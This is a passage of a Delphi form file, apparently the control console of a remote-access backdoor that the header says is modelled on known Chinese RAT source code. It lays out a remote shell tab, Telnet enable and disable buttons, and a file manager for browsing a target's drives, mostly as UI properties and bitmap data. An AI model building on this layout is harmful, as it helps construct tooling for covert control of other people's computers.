unitformcontrol.dfm

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

          Left = 166
          Top = 70
          Width = 106
          Height = 21
          Cursor = crHandPoint
          Anchors = [akLeft, akBottom]
          Caption = #39068#33394#35843#25972
          Flat = True
          Glyph.Data = {
            36030000424D3603000000000000360000002800000010000000100000000100
            18000000000000030000120B0000120B00000000000000000000FFFFFFFFFFFF
            F7F7F7AEB6BB7B96A67691A1C4C7C9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
            FFFFFFFFFFFFFFFFFFFFFFFFFFD9DADC6996B06ACCF56EDEFF61D6FF4C90BAEA
            EAEAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F3F36CA1BD
            6AE0FF4CA9D994B5CB4FAEE544BCFA9CA7AFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
            FFFFFFFFFFFFFFFFFFFFA6B3BB59CBFF22B9FF528EB3FFFFFFBEC7CD45BBFA47
            98C6909BA3A1ABB07895A468889DA4AAB0FAFAFAFFFFFFFFFFFF75A5BF31BCFF
            20B2FF2C99DC949CA2BCC0C34BB5EB5FD4FF65C8F474D3F784E8FF82E4FF51A7
            D87E8E9CFFFFFFFFFFFF599FC825B5FF25B4FF32BBFF3CA6E154ABD658CBFF5E
            CEFF6BD8FF77DDFF80E0FF8FE9FF9CF5FF4F9BC5B0B4B8FFFFFF5298C325B8FF
            2196FA32AFF943C6FF51CCFF56CAFF62CFFF6DD6FF79DCFF84E2FF90E7FFA0F3
            FF91E3FB547896F9F9F96A99B928C2FF1662FC1544F0318FF250CDFE5ACBFF65
            D2FF70D7FF7CDDFF87E3FF93E9FF9EEFFFB1FDFF5C9DC0C6C7C99DADB926A7FD
            0F37FD0000FC2160EF51C6FB5ECEFF68D3FF74DAFF7FDFFF8AE4FF96EBFFA1F0
            FFB5FFFF8CD1E6919BA4E1E3E33072D02C4DFF4E45FF3D3AFA48A2F467D7FF71
            D8FF7BDDFF82E0FF8EE7FF98F0FFA4F4FFB4FCFFAFF3FD718596FFFFFF829DAD
            4BA4FD719DFC5390FF3DAAC53DB79C47BCA84DBDA086E2FF8EECFF9FDBE8A6ED
            F4B6FFFFBAFDFF6D8395FFFFFFEEEEEE5380AE43BDFF55D4FF3FBCB0019C0000
            9B0043B9898EE8FFC2A79EF37247B6C1BBB6FAFDBBFDFF6F8294FFFFFFFFFFFF
            DCDDDE5089B253CAFF3EBA764BBB3D57BF525DBF8C84E2F9D2A18FFF6A31F96F
            3FD0CABBA1E5F48B939EFFFFFFFFFFFFFFFFFFD9D9DB5E88AC4DB6BE6FD4AC92
            D79A70CEB384DEE8DBB5A9FFA884FBA583BEECEB6189A5DADADBFFFFFFFFFFFF
            FFFFFFFFFFFFF6F6F890A0B85290BC5FB7AF84DFF499EFFFCCD2CFF1CEC3CAB6
            B5617F99B7BABEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE6E8ECA1
            AFC76E8DAD5B8AAD598DB1657F9B8691A1E1E1E2FFFFFFFFFFFF}
          Visible = False
          OnClick = BtnCambiarColorShellClick
        end
        object SpeedButton1: TSpeedButton
          Left = 296
          Top = 72
          Width = 96
          Height = 19
          Anchors = [akRight, akBottom]
          Caption = #24320#21551'Telnet'#21629#20196
          Flat = True
          OnClick = Button1Click
        end
        object SpeedButton2: TSpeedButton
          Left = 408
          Top = 72
          Width = 96
          Height = 19
          Anchors = [akRight, akBottom]
          Caption = #20851#38381'Telnet'#21629#20196
          Enabled = False
          Flat = True
          OnClick = Desactivar2Click
        end
        object Label3: TLabel
          Left = 8
          Top = 8
          Width = 47
          Height = 13
          Caption = 'Shell'#21629#20196
        end
        object Edit1: TEdit
          Left = 64
          Top = 3
          Width = 409
          Height = 21
          Hint = #25353#22238#36710#21457#36865#21629#20196
          ParentShowHint = False
          ShowHint = True
          TabOrder = 0
          Text = 'dir'
          OnKeyPress = ComboBoxShellCommandKeyPress
        end
      end
      object MemoShell: TMemo
        Left = 0
        Top = 0
        Width = 526
        Height = 296
        Align = alClient
        BevelInner = bvNone
        BevelKind = bkFlat
        BevelOuter = bvRaised
        BorderStyle = bsNone
        Color = clInfoText
        Font.Charset = ANSI_CHARSET
        Font.Color = clWhite
        Font.Height = -11
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        PopupMenu = PopupShell
        ReadOnly = True
        ScrollBars = ssVertical
        TabOrder = 1
      end
    end
    object TabFileManager: TTabSheet
      Caption = #25991#20214'(files)'
      ImageIndex = 18
      DesignSize = (
        526
        395)
      object LabelNumeroDeArchivos: TLabel
        Left = 95
        Top = -409
        Width = 27
        Height = 13
        Anchors = [akLeft, akBottom]
        Caption = #25991#20214':'
      end
      object LabelNumeroDeCarpetas: TLabel
        Left = 8
        Top = -409
        Width = 39
        Height = 13
        Anchors = [akLeft, akBottom]
        Caption = #25991#20214#22841':'
      end
      object ListViewArchivos: TListView
        Left = 0
        Top = 113
        Width = 526
        Height = 241
        Align = alClient
        BevelInner = bvNone
        BevelOuter = bvRaised
        BevelKind = bkFlat
        BorderStyle = bsNone
        Columns = <
          item
            Caption = #21517#31216
            Width = 170
          end
          item
            Alignment = taRightJustify
            Caption = #22823#23567
            Width = 60
          end
          item
            Caption = #31867#22411
            Width = 110
          end
          item
            Caption = #26368#21518#20462#25913#26102#38388
            Width = 150
          end>
        Font.Charset = ANSI_CHARSET
        Font.Color = clWindowText
        Font.Height = -11
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        GridLines = True
        RowSelect = True
        ParentFont = False
        PopupMenu = PopupFileManager
        SmallImages = IconsArchivos
        TabOrder = 0
        ViewStyle = vsReport
        OnColumnClick = ListViewProcesosColumnClick
        OnCompare = ListViewArchivosCompare
        OnContextPopup = ListViewArchivosContextPopup
        OnDblClick = ListViewArchivosDblClick
        OnEdited = ListViewArchivosEdited
      end
      object TreeView1: TTreeView
        Left = 0
        Top = 0
        Width = 526
        Height = 113
        Align = alTop
        AutoExpand = True
        Images = FormMain.ImageList
        Indent = 19
        TabOrder = 1
        OnDblClick = ListBox1DblClick
        Items.Data = {
          01000000210000000000000000000000FFFFFFFFFFFFFFFF0000000000000000
          08D4B6B3CCD6F7BBFA}
      end
      object Panel9: TPanel
        Left = 0
        Top = 354
        Width = 526
        Height = 41
        Align = alBottom
        TabOrder = 2
        DesignSize = (
          526
          41)
        object BtnVerUnidades: TSpeedButton
          Left = 286
          Top = 11
          Width = 107
          Height = 22
          Cursor = crHandPoint
          Anchors = [akTop, akRight]
          Caption = #33719#21462#30828#30424#21015#34920
          Flat = True
          Glyph.Data = {
            36040000424D3604000000000000360000002800000010000000100000000100
            20000000000000040000C40E0000C40E00000000000000000000FFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00276AA358548CBCF6508ABAFFFFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
            FF00FFFFFF00FFFFFF004A7FB1656298C9EF92B9DEFF4983B6F5FFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00E0B69321E0BA9A7FE6C6
            ABFFE6C5A9FFDFBA9BFDB6A397FE9CB8D3FF5E95C8F22B6CA658A6A6A6B7A0A0
            A0FF9A9A9AFF939393FF8D8D8DFF868686FF808080FFC1AD9BFFF2DCC9FFF8E3
            CEFFF7E0C7FFF8E2CBFFF3D1B3FFB2A399FF52687EFF5A5A5AB7AEAEAEFFE9E9
            E9FFD3D3D3FFD2D2D2FFD1D1D1FFD0D0D0FFCECECEFFE5C4A8FFF5E5D6FFF4DA
            C1FFF3D8BDFFF3D8BDFFF8E3CCFFD9B69AFFE2E2E2FF5B5B5BFFB5B5B5FFD6D6
            D6FFBBBBBBFFB9B9B9FFB6B6B6FFB4B4B4FFB2B2B2FFE0BD9EFFF8EADCFFF4DD
            C6FFF4DCC4FFF3D8BDFFF8E2CDFFE4C1A4FFC8C8C8FF5F5F5FFFBCBCBCFFD9D9
            D9FFBEBEBEFFBBBBBBFF8E8E8EFF8F8F8FFF909090FFE6C6AAFFF3E4D6FFF6E0
            CAFFF5DEC6FFF5DEC5FFF8E6D3FFE0C2A8FFCACACAFF646464FFC3C3C3FFDDDD
            DDFFC2C2C2FFBEBEBEFF919191FF929292FF949494FFC9BAAAFFE9CDB4FFF5E7
            DBFFF8ECDFFFF2DDC9FFEBD0B8FFD0BCABFFCFCFCFFF696969FFC9C9C9BDDDDD
            DDFFC8C8C8FFC1C1C1FFC0C0C0FFBEBEBEFFBBBBBBFFB9BABAFFD2C4B2FFDAC6
            ACFFE1BFA0FFE5C4A7FFE3CDB6FFB0B3B5FFC0C0C0FF6F6F6FBDCFCFCFBDE8E8
            E8FFE7E7E7FFE1E1E1FFE0E0E0FFE0E0E0FFDFDFDFFFDFDFDFFFDEDEDEFFDDDD
            DDFFDDDDDDFFDCDCDCFFDBDBDBFFE0E0E0FFCDCDCDFF757575BDD3D3D33FD9D9
            D9FFECECECFFDEDEDEFFD8D8D8FFD2D2D2FFCCCCCCFFC8C8C8FFC7C7C7FFC8C8
            C8FFCBCBCBFFD0D0D0FFDDDDDDFFE8E8E8FFA0A0A0FF7C7C7C42FFFFFF00D4D4
            D4BDE8E8E8FFDBDBDBFFE2E2E2FFE2E2E2FFE1E1E1FFE0E0E0FFE0E0E0FFE0E0
            E0FFDFDFDFFFC3C3C3FFD1D1D1FFD2D2D2FF8A8A8ABDFFFFFF00FFFFFF00D8D8
            D83FDEDEDEFFF3F3F3FFEDEDEDFFEDEDEDFFEDEDEDFFEDEDEDFFEDEDEDFFECEC
            ECFFECECECFFECECECFFF1F1F1FFB1B1B1FF92929242FFFFFF00FFFFFF00FFFF
            FF00D8D8D8BDD5D5D5FFD2D2D2FFCECECEFFC9C9C9FFC4C4C4FFBFBFBFFFB9B9
            B9FFB3B3B3FFADADADFFA6A6A6FFA0A0A0BDFFFFFF00FFFFFF00FFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00}
          OnClick = BtnVerUnidadesClick
        end
        object LabelPathArchivos: TLabel
          Left = 5
          Top = 11
          Width = 60
          Height = 13
          Caption = #24403#21069#36335#24452#65306
        end
        object BtnActualizarArchivos: TSpeedButton
          Left = 406
          Top = 12
          Width = 107
          Height = 21
          Cursor = crHandPoint
          Anchors = [akTop, akRight]
          Caption = #21047#26032#25991#20214#21015#34920
          Flat = True
          Glyph.Data = {
            36040000424D3604000000000000360000002800000010000000100000000100
            20000000000000040000C40E0000C40E00000000000000000000FFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
            FF00007D21F5037B1EFF00791521FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
            FF0001832BF543A15FFF007B1FE400791927FFFFFF00FFFFFF00FFFFFF00FFFF
            FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00219751FE1B9149FE158F43FE0F8B
            3BFE3A9F5EFF80C196FF46A362FF007D1FE70079192AFFFFFF00A6A6A6B7A0A0
            A0FF9A9A9AFF939393FF8D8D8DFF868686FF299B5BFF90CAA9FF8DC8A5FF8AC6
            A1FF88C59EFF6AB685FF82C297FF48A566FF077A26FF44624BC5AEAEAEFFE9E9
            E9FFD3D3D3FFD2D2D2FFD1D1D1FFD0D0D0FF319F63FF94CDADFF6FBA8EFF6BB8
            89FF66B685FF61B380FF67B582FF83C298FF3CA05CFF017F26FFB5B5B5FFD6D6
            D6FFBBBBBBFFB9B9B9FFB6B6B6FFB4B4B4FF37A36BFF96CEB0FF94CDADFF91CB
            AAFF90CBA8FF74BC90FF8AC7A1FF46A568FF098836FF59615CFFBCBCBCFFD9D9
            D9FFBEBEBEFFBBBBBBFF8E8E8EFF8F8F8FFF3DA56FFF38A36DFF34A167FF309D
            61FF55AF7CFF91CBAAFF4FAB74FF188F46FFC1C7C3FF646464FFC3C3C3FFDDDD
            DDFFC2C2C2FFBEBEBEFF919191FF929292FF949494FF949494FF939393FF9292
            92FF359E65FF5AB381FF289857FFA8ACAAFFCFCFCFFF696969FFC9C9C9BDDDDD
            DDFFC8C8C8FFC1C1C1FFC0C0C0FFBEBEBEFFBBBBBBFFB9B9B9FFB8B8B8FFB6B6
            B6FF3CA46EFF319F65FFABAFADFFB4B4B4FFC0C0C0FF6F6F6FBDCFCFCFBDE8E8
            E8FFE7E7E7FFE1E1E1FFE0E0E0FFE0E0E0FFDFDFDFFFDFDFDFFFDEDEDEFFDDDD
            DDFFDDDDDDFFDCDCDCFFDBDBDBFFE0E0E0FFCDCDCDFF757575BDD3D3D33FD9D9
            D9FFECECECFFDEDEDEFFD8D8D8FFD2D2D2FFCCCCCCFFC8C8C8FFC7C7C7FFC8C8
            C8FFCBCBCBFFD0D0D0FFDDDDDDFFE8E8E8FFA0A0A0FF7C7C7C42FFFFFF00D4D4
            D4BDE8E8E8FFDBDBDBFFE2E2E2FFE2E2E2FFE1E1E1FFE0E0E0FFE0E0E0FFE0E0
            E0FFDFDFDFFFC3C3C3FFD1D1D1FFD2D2D2FF8A8A8ABDFFFFFF00FFFFFF00D8D8
            D83FDEDEDEFFF3F3F3FFEDEDEDFFEDEDEDFFEDEDEDFFEDEDEDFFEDEDEDFFECEC
            ECFFECECECFFECECECFFF1F1F1FFB1B1B1FF92929242FFFFFF00FFFFFF00FFFF
            FF00D8D8D8BDD5D5D5FFD2D2D2FFCECECEFFC9C9C9FFC4C4C4FFBFBFBFFFB9B9
            B9FFB3B3B3FFADADADFFA6A6A6FFA0A0A0BDFFFFFF00FFFFFF00FFFFFF00FFFF